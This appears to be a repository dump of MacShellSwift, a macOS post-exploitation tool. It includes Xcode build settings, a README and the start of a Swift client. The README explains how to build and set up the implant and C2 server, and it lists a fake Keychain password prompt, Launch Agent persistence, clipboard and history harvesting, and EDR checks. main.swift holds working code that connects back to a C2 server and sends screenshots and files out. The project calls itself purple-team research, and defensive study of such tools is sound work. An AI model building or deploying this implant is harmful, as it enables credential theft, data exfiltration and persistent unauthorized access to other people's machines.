566 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited)"; 567 | SWIFT_FORCE_DYNAMIC_LINK_STDLIB = YES; 568 | SWIFT_FORCE_STATIC_LINK_STDLIB = NO; 569 | SWIFT_VERSION = 5.0; 570 | TARGET_NAME = MacShellSwift; 571 | TVOS_DEPLOYMENT_TARGET = 9.0; 572 | WATCHOS_DEPLOYMENT_TARGET = 2.0; 573 | }; 574 | name = Release; 575 | }; 576 | OBJ_4 /* Release */ = { 577 | isa = XCBuildConfiguration; 578 | buildSettings = { 579 | CLANG_ENABLE_OBJC_ARC = YES; 580 | COMBINE_HIDPI_IMAGES = YES; 581 | COPY_PHASE_STRIP = YES; 582 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 583 | DYLIB_INSTALL_NAME_BASE = "@rpath"; 584 | GCC_OPTIMIZATION_LEVEL = s; 585 | GCC_PREPROCESSOR_DEFINITIONS = ( 586 | "$(inherited)", 587 | "SWIFT_PACKAGE=1", 588 | ); 589 | MACOSX_DEPLOYMENT_TARGET = 10.10; 590 | OTHER_SWIFT_FLAGS = "-DXcode"; 591 | PRODUCT_NAME = "$(TARGET_NAME)"; 592 | SDKROOT = macosx; 593 | SUPPORTED_PLATFORMS = "macosx iphoneos iphonesimulator appletvos appletvsimulator watchos watchsimulator"; 594 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited) SWIFT_PACKAGE"; 595 | SWIFT_OPTIMIZATION_LEVEL = "-Owholemodule"; 596 | USE_HEADERMAP = NO; 597 | }; 598 | name = Release; 599 | }; 600 | OBJ_46 /* Debug */ = { 601 | isa = XCBuildConfiguration; 602 | buildSettings = { 603 | LD = /usr/bin/true; 604 | OTHER_SWIFT_FLAGS = "-swift-version 5 -I $(TOOLCHAIN_DIR)/usr/lib/swift/pm/4_2 -target x86_64-apple-macosx10.10 -sdk /Users/redteam/Downloads/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk"; 605 | SWIFT_VERSION = 5.0; 606 | }; 607 | name = Debug; 608 | }; 609 | OBJ_47 /* Release */ = { 610 | isa = XCBuildConfiguration; 611 | buildSettings = { 612 | LD = /usr/bin/true; 613 | OTHER_SWIFT_FLAGS = "-swift-version 5 -I $(TOOLCHAIN_DIR)/usr/lib/swift/pm/4_2 -target x86_64-apple-macosx10.10 -sdk /Users/redteam/Downloads/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk"; 614 | SWIFT_VERSION = 5.0; 615 | }; 616 | name = Release; 617 | }; 618 | OBJ_52 /* Debug */ = { 619 | isa = XCBuildConfiguration; 620 | buildSettings = { 621 | }; 622 | name = Debug; 623 | }; 624 | OBJ_53 /* Release */ = { 625 | isa = XCBuildConfiguration; 626 | buildSettings = { 627 | }; 628 | name = Release; 629 | }; 630 | OBJ_57 /* Debug */ = { 631 | isa = XCBuildConfiguration; 632 | buildSettings = { 633 | CLANG_ENABLE_MODULES = YES; 634 | EMBEDDED_CONTENT_CONTAINS_SWIFT = YES; 635 | FRAMEWORK_SEARCH_PATHS = ( 636 | "$(inherited)", 637 | "$(PLATFORM_DIR)/Developer/Library/Frameworks", 638 | ); 639 | HEADER_SEARCH_PATHS = "$(inherited)"; 640 | INFOPLIST_FILE = MacShellSwift.xcodeproj/MacShellSwiftTests_Info.plist; 641 | IPHONEOS_DEPLOYMENT_TARGET = 8.0; 642 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @loader_path/../Frameworks @loader_path/Frameworks"; 643 | MACOSX_DEPLOYMENT_TARGET = 10.10; 644 | OTHER_CFLAGS = "$(inherited)"; 645 | OTHER_LDFLAGS = "$(inherited)"; 646 | OTHER_SWIFT_FLAGS = "$(inherited)"; 647 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited)"; 648 | SWIFT_VERSION = 5.0; 649 | TARGET_NAME = MacShellSwiftTests; 650 | TVOS_DEPLOYMENT_TARGET = 9.0; 651 | WATCHOS_DEPLOYMENT_TARGET = 2.0; 652 | }; 653 | name = Debug; 654 | }; 655 | OBJ_58 /* Release */ = { 656 | isa = XCBuildConfiguration; 657 | buildSettings = { 658 | CLANG_ENABLE_MODULES = YES; 659 | EMBEDDED_CONTENT_CONTAINS_SWIFT = YES; 660 | FRAMEWORK_SEARCH_PATHS = ( 661 | "$(inherited)", 662 | "$(PLATFORM_DIR)/Developer/Library/Frameworks", 663 | ); 664 | HEADER_SEARCH_PATHS = "$(inherited)"; 665 | INFOPLIST_FILE = MacShellSwift.xcodeproj/MacShellSwiftTests_Info.plist; 666 | IPHONEOS_DEPLOYMENT_TARGET = 8.0; 667 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) @loader_path/../Frameworks @loader_path/Frameworks"; 668 | MACOSX_DEPLOYMENT_TARGET = 10.10; 669 | OTHER_CFLAGS = "$(inherited)"; 670 | OTHER_LDFLAGS = "$(inherited)"; 671 | OTHER_SWIFT_FLAGS = "$(inherited)"; 672 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited)"; 673 | SWIFT_VERSION = 5.0; 674 | TARGET_NAME = MacShellSwiftTests; 675 | TVOS_DEPLOYMENT_TARGET = 9.0; 676 | WATCHOS_DEPLOYMENT_TARGET = 2.0; 677 | }; 678 | name = Release; 679 | }; 680 | OBJ_69 /* Debug */ = { 681 | isa = XCBuildConfiguration; 682 | buildSettings = { 683 | ENABLE_TESTABILITY = YES; 684 | FRAMEWORK_SEARCH_PATHS = ( 685 | "$(inherited)", 686 | "$(PLATFORM_DIR)/Developer/Library/Frameworks", 687 | ); 688 | HEADER_SEARCH_PATHS = "$(inherited)"; 689 | INFOPLIST_FILE = MacShellSwift.xcodeproj/SSLService_Info.plist; 690 | IPHONEOS_DEPLOYMENT_TARGET = 8.0; 691 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) $(TOOLCHAIN_DIR)/usr/lib/swift/macosx"; 692 | MACOSX_DEPLOYMENT_TARGET = 10.10; 693 | OTHER_CFLAGS = "$(inherited)"; 694 | OTHER_LDFLAGS = "$(inherited)"; 695 | OTHER_SWIFT_FLAGS = "$(inherited)"; 696 | PRODUCT_BUNDLE_IDENTIFIER = SSLService; 697 | PRODUCT_MODULE_NAME = "$(TARGET_NAME:c99extidentifier)"; 698 | PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)"; 699 | SKIP_INSTALL = YES; 700 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited)"; 701 | SWIFT_VERSION = 5.0; 702 | TARGET_NAME = SSLService; 703 | TVOS_DEPLOYMENT_TARGET = 9.0; 704 | WATCHOS_DEPLOYMENT_TARGET = 2.0; 705 | }; 706 | name = Debug; 707 | }; 708 | OBJ_70 /* Release */ = { 709 | isa = XCBuildConfiguration; 710 | buildSettings = { 711 | ENABLE_TESTABILITY = YES; 712 | FRAMEWORK_SEARCH_PATHS = ( 713 | "$(inherited)", 714 | "$(PLATFORM_DIR)/Developer/Library/Frameworks", 715 | ); 716 | HEADER_SEARCH_PATHS = "$(inherited)"; 717 | INFOPLIST_FILE = MacShellSwift.xcodeproj/SSLService_Info.plist; 718 | IPHONEOS_DEPLOYMENT_TARGET = 8.0; 719 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) $(TOOLCHAIN_DIR)/usr/lib/swift/macosx"; 720 | MACOSX_DEPLOYMENT_TARGET = 10.10; 721 | OTHER_CFLAGS = "$(inherited)"; 722 | OTHER_LDFLAGS = "$(inherited)"; 723 | OTHER_SWIFT_FLAGS = "$(inherited)"; 724 | PRODUCT_BUNDLE_IDENTIFIER = SSLService; 725 | PRODUCT_MODULE_NAME = "$(TARGET_NAME:c99extidentifier)"; 726 | PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)"; 727 | SKIP_INSTALL = YES; 728 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited)"; 729 | SWIFT_VERSION = 5.0; 730 | TARGET_NAME = SSLService; 731 | TVOS_DEPLOYMENT_TARGET = 9.0; 732 | WATCHOS_DEPLOYMENT_TARGET = 2.0; 733 | }; 734 | name = Release; 735 | }; 736 | OBJ_79 /* Debug */ = { 737 | isa = XCBuildConfiguration; 738 | buildSettings = { 739 | LD = /usr/bin/true; 740 | OTHER_SWIFT_FLAGS = "-swift-version 5 -I $(TOOLCHAIN_DIR)/usr/lib/swift/pm/4_2 -target x86_64-apple-macosx10.10 -sdk /Users/redteam/Downloads/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk"; 741 | SWIFT_VERSION = 5.0; 742 | }; 743 | name = Debug; 744 | }; 745 | OBJ_80 /* Release */ = { 746 | isa = XCBuildConfiguration; 747 | buildSettings = { 748 | LD = /usr/bin/true; 749 | OTHER_SWIFT_FLAGS = "-swift-version 5 -I $(TOOLCHAIN_DIR)/usr/lib/swift/pm/4_2 -target x86_64-apple-macosx10.10 -sdk /Users/redteam/Downloads/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk"; 750 | SWIFT_VERSION = 5.0; 751 | }; 752 | name = Release; 753 | }; 754 | OBJ_84 /* Debug */ = { 755 | isa = XCBuildConfiguration; 756 | buildSettings = { 757 | ENABLE_TESTABILITY = YES; 758 | FRAMEWORK_SEARCH_PATHS = ( 759 | "$(inherited)", 760 | "$(PLATFORM_DIR)/Developer/Library/Frameworks", 761 | ); 762 | HEADER_SEARCH_PATHS = "$(inherited)"; 763 | INFOPLIST_FILE = MacShellSwift.xcodeproj/Socket_Info.plist; 764 | IPHONEOS_DEPLOYMENT_TARGET = 8.0; 765 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) $(TOOLCHAIN_DIR)/usr/lib/swift/macosx"; 766 | MACOSX_DEPLOYMENT_TARGET = 10.10; 767 | OTHER_CFLAGS = "$(inherited)"; 768 | OTHER_LDFLAGS = "$(inherited)"; 769 | OTHER_SWIFT_FLAGS = "$(inherited)"; 770 | PRODUCT_BUNDLE_IDENTIFIER = Socket; 771 | PRODUCT_MODULE_NAME = "$(TARGET_NAME:c99extidentifier)"; 772 | PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)"; 773 | SKIP_INSTALL = YES; 774 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited)"; 775 | SWIFT_VERSION = 5.0; 776 | TARGET_NAME = Socket; 777 | TVOS_DEPLOYMENT_TARGET = 9.0; 778 | WATCHOS_DEPLOYMENT_TARGET = 2.0; 779 | }; 780 | name = Debug; 781 | }; 782 | OBJ_85 /* Release */ = { 783 | isa = XCBuildConfiguration; 784 | buildSettings = { 785 | ENABLE_TESTABILITY = YES; 786 | FRAMEWORK_SEARCH_PATHS = ( 787 | "$(inherited)", 788 | "$(PLATFORM_DIR)/Developer/Library/Frameworks", 789 | ); 790 | HEADER_SEARCH_PATHS = "$(inherited)"; 791 | INFOPLIST_FILE = MacShellSwift.xcodeproj/Socket_Info.plist; 792 | IPHONEOS_DEPLOYMENT_TARGET = 8.0; 793 | LD_RUNPATH_SEARCH_PATHS = "$(inherited) $(TOOLCHAIN_DIR)/usr/lib/swift/macosx"; 794 | MACOSX_DEPLOYMENT_TARGET = 10.10; 795 | OTHER_CFLAGS = "$(inherited)"; 796 | OTHER_LDFLAGS = "$(inherited)"; 797 | OTHER_SWIFT_FLAGS = "$(inherited)"; 798 | PRODUCT_BUNDLE_IDENTIFIER = Socket; 799 | PRODUCT_MODULE_NAME = "$(TARGET_NAME:c99extidentifier)"; 800 | PRODUCT_NAME = "$(TARGET_NAME:c99extidentifier)"; 801 | SKIP_INSTALL = YES; 802 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited)"; 803 | SWIFT_VERSION = 5.0; 804 | TARGET_NAME = Socket; 805 | TVOS_DEPLOYMENT_TARGET = 9.0; 806 | WATCHOS_DEPLOYMENT_TARGET = 2.0; 807 | }; 808 | name = Release; 809 | }; 810 | OBJ_93 /* Debug */ = { 811 | isa = XCBuildConfiguration; 812 | buildSettings = { 813 | LD = /usr/bin/true; 814 | OTHER_SWIFT_FLAGS = "-swift-version 5 -I $(TOOLCHAIN_DIR)/usr/lib/swift/pm/4_2 -target x86_64-apple-macosx10.10 -sdk /Users/redteam/Downloads/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk"; 815 | SWIFT_VERSION = 5.0; 816 | }; 817 | name = Debug; 818 | }; 819 | OBJ_94 /* Release */ = { 820 | isa = XCBuildConfiguration; 821 | buildSettings = { 822 | LD = /usr/bin/true; 823 | OTHER_SWIFT_FLAGS = "-swift-version 5 -I $(TOOLCHAIN_DIR)/usr/lib/swift/pm/4_2 -target x86_64-apple-macosx10.10 -sdk /Users/redteam/Downloads/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.14.sdk"; 824 | SWIFT_VERSION = 5.0; 825 | }; 826 | name = Release; 827 | }; 828 | /* End XCBuildConfiguration section */ 829 | 830 | /* Begin XCConfigurationList section */ 831 | OBJ_2 /* Build configuration list for PBXProject "MacShellSwift" */ = { 832 | isa = XCConfigurationList; 833 | buildConfigurations = ( 834 | OBJ_3 /* Debug */, 835 | OBJ_4 /* Release */, 836 | ); 837 | defaultConfigurationIsVisible = 0; 838 | defaultConfigurationName = Release; 839 | }; 840 | OBJ_32 /* Build configuration list for PBXNativeTarget "MacShellSwift" */ = { 841 | isa = XCConfigurationList; 842 | buildConfigurations = ( 843 | OBJ_33 /* Debug */, 844 | OBJ_34 /* Release */, 845 | ); 846 | defaultConfigurationIsVisible = 0; 847 | defaultConfigurationName = Release; 848 | }; 849 | OBJ_45 /* Build configuration list for PBXNativeTarget "MacShellSwiftPackageDescription" */ = { 850 | isa = XCConfigurationList; 851 | buildConfigurations = ( 852 | OBJ_46 /* Debug */, 853 | OBJ_47 /* Release */, 854 | ); 855 | defaultConfigurationIsVisible = 0; 856 | defaultConfigurationName = Release; 857 | }; 858 | OBJ_51 /* Build configuration list for PBXAggregateTarget "MacShellSwiftPackageTests" */ = { 859 | isa = XCConfigurationList; 860 | buildConfigurations = ( 861 | OBJ_52 /* Debug */, 862 | OBJ_53 /* Release */, 863 | ); 864 | defaultConfigurationIsVisible = 0; 865 | defaultConfigurationName = Release; 866 | }; 867 | OBJ_56 /* Build configuration list for PBXNativeTarget "MacShellSwiftTests" */ = { 868 | isa = XCConfigurationList; 869 | buildConfigurations = ( 870 | OBJ_57 /* Debug */, 871 | OBJ_58 /* Release */, 872 | ); 873 | defaultConfigurationIsVisible = 0; 874 | defaultConfigurationName = Release; 875 | }; 876 | OBJ_68 /* Build configuration list for PBXNativeTarget "SSLService" */ = { 877 | isa = XCConfigurationList; 878 | buildConfigurations = ( 879 | OBJ_69 /* Debug */, 880 | OBJ_70 /* Release */, 881 | ); 882 | defaultConfigurationIsVisible = 0; 883 | defaultConfigurationName = Release; 884 | }; 885 | OBJ_78 /* Build configuration list for PBXNativeTarget "SSLServicePackageDescription" */ = { 886 | isa = XCConfigurationList; 887 | buildConfigurations = ( 888 | OBJ_79 /* Debug */, 889 | OBJ_80 /* Release */, 890 | ); 891 | defaultConfigurationIsVisible = 0; 892 | defaultConfigurationName = Release; 893 | }; 894 | OBJ_83 /* Build configuration list for PBXNativeTarget "Socket" */ = { 895 | isa = XCConfigurationList; 896 | buildConfigurations = ( 897 | OBJ_84 /* Debug */, 898 | OBJ_85 /* Release */, 899 | ); 900 | defaultConfigurationIsVisible = 0; 901 | defaultConfigurationName = Release; 902 | }; 903 | OBJ_92 /* Build configuration list for PBXNativeTarget "SocketPackageDescription" */ = { 904 | isa = XCConfigurationList; 905 | buildConfigurations = ( 906 | OBJ_93 /* Debug */, 907 | OBJ_94 /* Release */, 908 | ); 909 | defaultConfigurationIsVisible = 0; 910 | defaultConfigurationName = Release; 911 | }; 912 | /* End XCConfigurationList section */ 913 | }; 914 | rootObject = OBJ_1 /* Project object */; 915 | } 916 | -------------------------------------------------------------------------------- /MacShellSwift/MacShellSwift.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | -------------------------------------------------------------------------------- /MacShellSwift/MacShellSwift.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /MacShellSwift/MacShellSwift.xcodeproj/project.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEWorkspaceSharedSettings_AutocreateContextsIfNeeded 6 | 7 | 8 | -------------------------------------------------------------------------------- /MacShellSwift/MacShellSwift.xcodeproj/project.xcworkspace/xcuserdata/redteam.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/MacShellSwift/caecd7be056113bb910e6dd2f760d4707faa83cb/MacShellSwift/MacShellSwift.xcodeproj/project.xcworkspace/xcuserdata/redteam.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /MacShellSwift/MacShellSwift.xcodeproj/xcshareddata/xcschemes/MacShellSwift-Package.xcscheme: -------------------------------------------------------------------------------- 1 | 2 | 5 | 8 | 9 | 15 | 21 | 22 | 23 | 24 | 25 | 30 | 31 | 33 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 55 | 57 | 63 | 64 | 65 | 66 | 67 | 68 | 74 | 75 | 77 | 78 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /MacShellSwift/MacShellSwift.xcodeproj/xcshareddata/xcschemes/MacShellSwift.xcscheme: -------------------------------------------------------------------------------- 1 | 2 | 5 | 8 | 9 | 15 | 21 | 22 | 23 | 24 | 25 | 30 | 31 | 33 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 55 | 57 | 63 | 64 | 65 | 66 | 67 | 68 | 74 | 75 | 77 | 78 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /MacShellSwift/Package.resolved: -------------------------------------------------------------------------------- 1 | { 2 | "object": { 3 | "pins": [ 4 | { 5 | "package": "Socket", 6 | "repositoryURL": "https://github.com/IBM-Swift/BlueSocket.git", 7 | "state": { 8 | "branch": null, 9 | "revision": "ccc671b022bc60e5fffcb2aa15f499c6331bfd18", 10 | "version": "1.0.46" 11 | } 12 | }, 13 | { 14 | "package": "SSLService", 15 | "repositoryURL": "https://github.com/IBM-Swift/BlueSSLService.git", 16 | "state": { 17 | "branch": null, 18 | "revision": "0127cd4156bb0ba702894f2509199e4b65ca1db5", 19 | "version": "1.0.46" 20 | } 21 | } 22 | ] 23 | }, 24 | "version": 1 25 | } 26 | -------------------------------------------------------------------------------- /MacShellSwift/Package.swift: -------------------------------------------------------------------------------- 1 | // swift-tools-version:5.0 2 | // The swift-tools-version declares the minimum version of Swift required to build this package. 3 | 4 | import PackageDescription 5 | 6 | let package = Package( 7 | name: "MacShellSwift", 8 | dependencies: [ 9 | // Dependencies declare other packages that this package depends on. 10 | // .package(url: /* package url */, from: "1.0.0"), 11 | .package(url: "https://github.com/IBM-Swift/BlueSocket.git", .upToNextMinor(from: "1.0.0")), 12 | .package(url: "https://github.com/IBM-Swift/BlueSSLService.git", .upToNextMinor(from: "1.0.0")), 13 | ], 14 | targets: [ 15 | // Targets are the basic building blocks of a package. A target can define a module or a test suite. 16 | // Targets can depend on other targets in this package, and on products in packages which this package depends on. 17 | .target( 18 | name: "MacShellSwift", 19 | dependencies: ["Socket", "SSLService"]), 20 | .testTarget( 21 | name: "MacShellSwiftTests", 22 | dependencies: ["MacShellSwift"]), 23 | ] 24 | ) 25 | 26 | //dependencies: [ 27 | //// Dependencies declare other packages that this package depends on. 28 | //// .package(url: /* package url */, from: "1.0.0"), 29 | //.package(url: "https://github.com/IBM-Swift/BlueSocket.git", .upToNextMinor(from: "1.0.0")) 30 | //], 31 | -------------------------------------------------------------------------------- /MacShellSwift/README.md: -------------------------------------------------------------------------------- 1 | # MacShellSwift 2 | 3 | MacShellSwift is a proof of concept MacOS post exploitation tool written in Swift using encrypted sockets. This tool has been tested both pre and post Catalina. I rewrote a prior tool of mine MacShell (one of my repos) and changed the client to Swift intstead of python. This tool consists of two parts: a server script and a client binary. **I wrote this tool for purple team purposes: to help blue teamers proactively guage detections against macOS post exploitation methods that use macOS internal calls.** Red teams can also find this of use for getting ideas around using Swift for macOS post exploitation. 4 | 5 | More info below: 6 | 7 |

8 | **_In Swift Code (i.e., generating the client binary)_** 9 | 1. Open the xcodeproj file for MacShellSwift in Xcode 10 | ![Image](pica.jpg) 11 | 12 | 2. Edit the main.swift code as needed in Xcode, including the canary string if you want to set your own (just ensure it matches what is in the server) and the destination IP/hostname and port. 13 | ![Image](picb.jpg) 14 | ![Image](picba.jpg) 15 | 16 | 3. From a terminal cd into the MacShellSwift directory and run: "swift build" to generate the binary. The binary will be dropped in the .build/debug folder inside of the MacShellSwift folder and will be named MacShellSwift 17 | 18 | **-- NOTE:** you may have issues with the third party packages being recognized (though they are properly imported in this project). If that happens, close XCode and go to the command line, cd to the MacShellSwift parent directory and run: **"swift package generate-xcodeproj"**, which will resolve the third party packages. If you still encounter an error around xctest not being found, run **"xcode-select -s /Applications/XCode.app/Contents/Developer/"** and then run **"swift package generate-xcodeproj"** 19 | 20 | 4. After you set things up server side, you can then copy the binary over to the client and execute it (it is assumed you have access to the target macOS host already). **Note: Unless you sign the binary with a valid Apple developer cert and notarize it, you will need to clear the quarantine attribute from the binary on the target client ("xattr -c ")** 21 | 22 | 23 |

24 | **_On C2 Server:_** 25 | 26 | 1. Set up ssl (note: use a key size of at least 2048) 27 | 28 | -From a terminal, cd into the same directory as swiftshell-server.py and run this openssl command: _openssl req -new -newkey rsa:2048 -nodes -out ca.csr -keyout ca.key_ 29 | 30 | -Answer the prompts and then run the following openssl command: _openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem_ 31 | 32 | _*note: the server script is hard-coded to use ca.pem and ca.key, but you can change those names of course (just make sure you also change the name in the swiftshell-server.py file). 33 | 34 | 2. Change the "host = '127.0.0.1'" string to the server IP address and the "port = 443" string to the listening port on the server. Also make sure the canary string matches the string in the client code. If you change the canary string, you will also need to change the connection.recv(16) to whatever length the new canary string coming from the client is. 35 | ![Image](pic3.jpg) 36 | 37 | 3. Save and run the server: 38 | Usage: sudo python3 swiftshell-server.py 39 | ![Image](pic4.jpg) 40 | 41 | 42 |

43 | **_Using MacShellSwift_** 44 | 45 | 1. After you receive a connection, you can use the "help" command on the server to get a list of built-in commands available. You can enter one of these commands or a shell command (ex: whoami or id) 46 | 47 | ![Image](pic7.png) 48 | 49 | Each command is pretty straightforward and contains a note on whether each is OpSec safe (i.e., easily detectable) 50 | 51 | **prompt** Command: This will pop up a fake Keychain authentication prompt asking the user to authenticate with their keychain password. Either the user will cancel the prompt or enter their password. The results are sent back to the server. 52 | 53 | Here is what the fake authentication prompt looks like: 54 | 55 | ![Image](pic8.png) 56 | 57 | And here is an example of credentials being captured and sent to the server: 58 | 59 | ![Image](pic9.jpg) 60 | 61 | **history** Command: Greps the bash history file on the target and then returns interesting IP addresses (ex: machines that the user may have ssh'd to) 62 | 63 | **check_osquery** Command: Check if osquery is present on the host. If so, then you can run several osquery commands (see the help menu). This makes for an interesting way to use security tooling to pull back host data. 64 | 65 | **clipboard** Command: Returns the results of what is currently on the user's clipboard 66 | 67 | **persist** Command: Uses Launch Agent persistence 68 | 69 | **remove** Command: removes the Launch Agent persistence 70 | 71 | **connections** Command: View processes with network connections 72 | 73 | **addresses** Command: Get a list of internal addresses assigned to the macOS host 74 | 75 | **listusers** Command: Get a list of user accounts on the macOS host 76 | 77 | **download** Command: Download file of interest from the macOS host (note: user context must have the needed permissions) 78 | 79 | **checksecurity** Command: Check for some common EDR/AV vendors on the macOS host 80 | 81 | ---------- 82 | 83 | **_Limitations_** 84 | 85 | -While the server does accept multiple client connections, you cannot jump between sessions currently. The server will interact with the first session it receives and once the operator exits that session it will move on to the next session in the queue. 86 | 87 | -I have not yet developed any phishing payloads for SwiftShell (just the mach-o binary that is built from the project). 88 | 89 | -This tool is serves as a simple POC for post exploitation on macOS using Swift. The server as written is not robust enough for red team operations usage. This was written to help blue teams proactively measure detections against these methods and to help red teams with ideas around using macOS internals for post exploitation. 90 | 91 | ----------- 92 | 93 | **_Next Steps_** 94 | 95 | -Build phishing payloads 96 | 97 | -Convert the command and control from encrypted sockets to using a RESTFUL API for C2 98 | 99 | ---------- 100 | 101 | **_DISCLAIMER_** 102 | 103 | This is for academic purposes and should not be used maliciously or without the appropriate authorizations and approvals. 104 | 105 | -------------------------------------------------------------------------------- /MacShellSwift/Sources/MacShellSwift/main.swift: -------------------------------------------------------------------------------- 1 | import Socket 2 | import Foundation 3 | import Cocoa 4 | import SSLService 5 | import OSAKit 6 | 7 | func getaddy() -> [String] { 8 | //getaddy function code lifted from https://stackoverflow.com/questions/25626117/how-to-get-ip-addresses-in-swift/25627545 9 | var addresses = [String]() 10 | 11 | var ifaddr : UnsafeMutablePointer? 12 | guard getifaddrs(&ifaddr) == 0 else { return [] } 13 | guard let firstAddr = ifaddr else { return [] } 14 | 15 | for ptr in sequence(first: firstAddr, next: { $0.pointee.ifa_next}) { 16 | let flags = Int32(ptr.pointee.ifa_flags) 17 | let addr = ptr.pointee.ifa_addr.pointee 18 | 19 | if (flags & (IFF_UP|IFF_RUNNING|IFF_LOOPBACK)) == (IFF_UP|IFF_RUNNING) { 20 | if addr.sa_family == UInt8(AF_INET) || addr.sa_family == UInt8(AF_INET6) { 21 | var hostname = [CChar](repeating: 0, count: Int(NI_MAXHOST)) 22 | if (getnameinfo(ptr.pointee.ifa_addr, socklen_t(addr.sa_len), &hostname, socklen_t(hostname.count),nil, socklen_t(0), NI_NUMERICHOST) == 0) { 23 | let address = String(cString: hostname) 24 | addresses.append(address) 25 | } 26 | } 27 | } 28 | } 29 | freeifaddrs(ifaddr) 30 | return addresses 31 | 32 | } 33 | 34 | do { 35 | let config = SSLService.Configuration.init() 36 | let sock = try Socket.create() 37 | sock.delegate = try SSLService(usingConfiguration: config) 38 | let canary = "SwiftShellR0ckZ!" 39 | let fileMan = FileManager.default 40 | let binPath = fileMan.currentDirectoryPath 41 | let myName = #file 42 | 43 | try sock.connect(to: "127.0.0.1", port: 443) 44 | try sock.write(from: canary) 45 | 46 | let condition = 1 47 | 48 | while (condition == 1){ 49 | let a = try sock.readString() 50 | if a! == "exit"{ 51 | exit(0) 52 | } 53 | else if a! == "screenshot"{ 54 | do { 55 | var displayCount: UInt32 = 0; 56 | var result = CGGetActiveDisplayList(0, nil, &displayCount) 57 | let allocated = Int(displayCount) 58 | let activeDisplays = UnsafeMutablePointer.allocate(capacity: allocated) 59 | result = CGGetActiveDisplayList(displayCount, activeDisplays, &displayCount) 60 | for i in 1...displayCount{ 61 | let screenShot:CGImage = CGDisplayCreateImage(activeDisplays[Int(i-1)])! 62 | let bitmapRep = NSBitmapImageRep(cgImage: screenShot) 63 | let jpegData = bitmapRep.representation(using: NSBitmapImageRep.FileType.jpeg, properties: [:])! 64 | try sock.write(from: jpegData) 65 | 66 | } 67 | 68 | } 69 | try sock.write(from: "!EOF!") 70 | } 71 | 72 | else if a!.contains("download "){ 73 | do { 74 | var cmd = a! 75 | let replacethis = "download " 76 | if let cmd2 = cmd.range(of: replacethis) { 77 | cmd.removeSubrange(cmd2) 78 | } 79 | let downloadPath = URL(fileURLWithPath: cmd, isDirectory: false) 80 | 81 | let data2 = try Data(contentsOf: downloadPath) 82 | try sock.write(from: data2) 83 | if data2.count >= 8192{ 84 | try sock.write(from: "!EOF!") 85 | } 86 | 87 | } catch { 88 | try sock.write(from: "Unable to download or find this file.") 89 | } 90 | 91 | } 92 | else if a! == "pwd"{ 93 | do { 94 | let fileMgr = FileManager.default 95 | let currPath = fileMgr.currentDirectoryPath 96 | try sock.write(from: currPath) 97 | } catch { 98 | try sock.write(from: "Error getting pwd.") 99 | } 100 | } 101 | else if a!.contains("cd "){ 102 | do { 103 | var cmd2 = a! 104 | let replacethis2 = "cd " 105 | if let cmd3 = cmd2.range(of: replacethis2) { 106 | cmd2.removeSubrange(cmd3) 107 | } 108 | let fileMgr2 = FileManager.default 109 | if fileMgr2.fileExists(atPath: cmd2){ 110 | fileMgr2.changeCurrentDirectoryPath(cmd2) 111 | let currPath2 = fileMgr2.currentDirectoryPath 112 | try sock.write(from: currPath2) 113 | } 114 | else { 115 | let noGo = "Directory \(cmd2) does not exist." 116 | try sock.write(from: noGo) 117 | } 118 | 119 | } catch { 120 | try sock.write(from: "Error attempting to change directories to dest dir.") 121 | } 122 | 123 | } 124 | else if a! == "listdir"{ 125 | 126 | do { 127 | let fileMgr3 = FileManager.default 128 | let currDir = fileMgr3.currentDirectoryPath 129 | let files = try fileMgr3.contentsOfDirectory(atPath: currDir) 130 | var filesOnly = [String]() 131 | var dirsOnly = [String]() 132 | 133 | for each in files{ 134 | let path2 = ("\(currDir)/\(each)") 135 | let fileUrl = URL(fileURLWithPath: path2) 136 | let urlCheck = "\(fileUrl)" 137 | if urlCheck.hasSuffix("/"){ 138 | dirsOnly.append("DIR>> \(each)") 139 | //print("Directory: \(each)") 140 | } 141 | else{ 142 | filesOnly.append("FILE>> \(each)") 143 | } 144 | 145 | } 146 | 147 | let joinDirs = dirsOnly.joined(separator: ", ") 148 | let joinFiles = filesOnly.joined(separator: ", ") 149 | let spacer = "\n\n\n" 150 | let Combined = joinDirs + spacer + joinFiles 151 | 152 | try 